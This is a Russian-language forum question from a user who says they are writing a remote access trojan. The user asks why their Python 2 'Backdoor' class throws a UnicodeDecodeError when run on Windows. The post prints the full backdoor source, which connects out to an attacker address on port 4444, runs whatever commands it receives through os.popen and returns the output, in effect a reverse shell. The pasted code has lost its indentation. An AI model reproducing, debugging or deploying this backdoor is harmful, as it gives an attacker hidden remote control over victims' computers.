Задать вопрос
@Wilde_Forox

Как исправить ошибкуUnicodeDecodeError: 'utf-8' codec can't decode byte 0x92 in position 1: invalid start byte?

Всем дарова, не знаю как исправить ошибку: UnicodeDecodeError: 'utf-8' codec can't decode byte 0x92 in position 1: invalid start byte
Использую кодировку utf-8, пишу ратник. Когда отправляю команду dir, он должен вернуть результат, но вылазит ошибка, я так понял из-за того что в результате есть кириллица, использовал кодировку cp1251, ошибка не вылазит, но вместо русских букв непонятные символы. Если использовать кодировку utf-8 и запускать ратник на кали линукс, то результат возвращается вместе с кириллицей и ошибка не вылазит, а если запускать ратник на windows, то вылазит ошибка
сам код:

import socket
import os
import sys
import json
reload(sys)
sys.setdefaultencoding("utf-8")

class Backdoor:

def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))

def reliable_send(self, data):
json_data = json.dumps(data.decode())
self.connection.send(json_data)

def reliable_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue

def execute_system_command(self, command):
output = os.popen(command).read()
return output

def run(self):
while True:
command = self.reliable_receive().decode()
output = self.execute_system_command(str(command))
self.reliable_send(output.encode())

connection.close()

my_bacdoor = Backdoor("192.16...", 4444)
my_bacdoor.run()

Полный результат ошибки:

Traceback (most recent call last):
file "exploit.py", line 40 in
my_backdoor.run()
file "exploit.py", line 35 in run
self.reliable_send(output.encode())
UnicodeDecodeError: 'utf-8' codec can't decode 0x92 in position 1: invalid start byte
  • Вопрос задан
  • 773 просмотра
Подписаться 1 Средний 3 комментария
Пригласить эксперта
Ответы на вопрос 1
Dr_Elvis
@Dr_Elvis Куратор тега Python
В гугле забанен
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы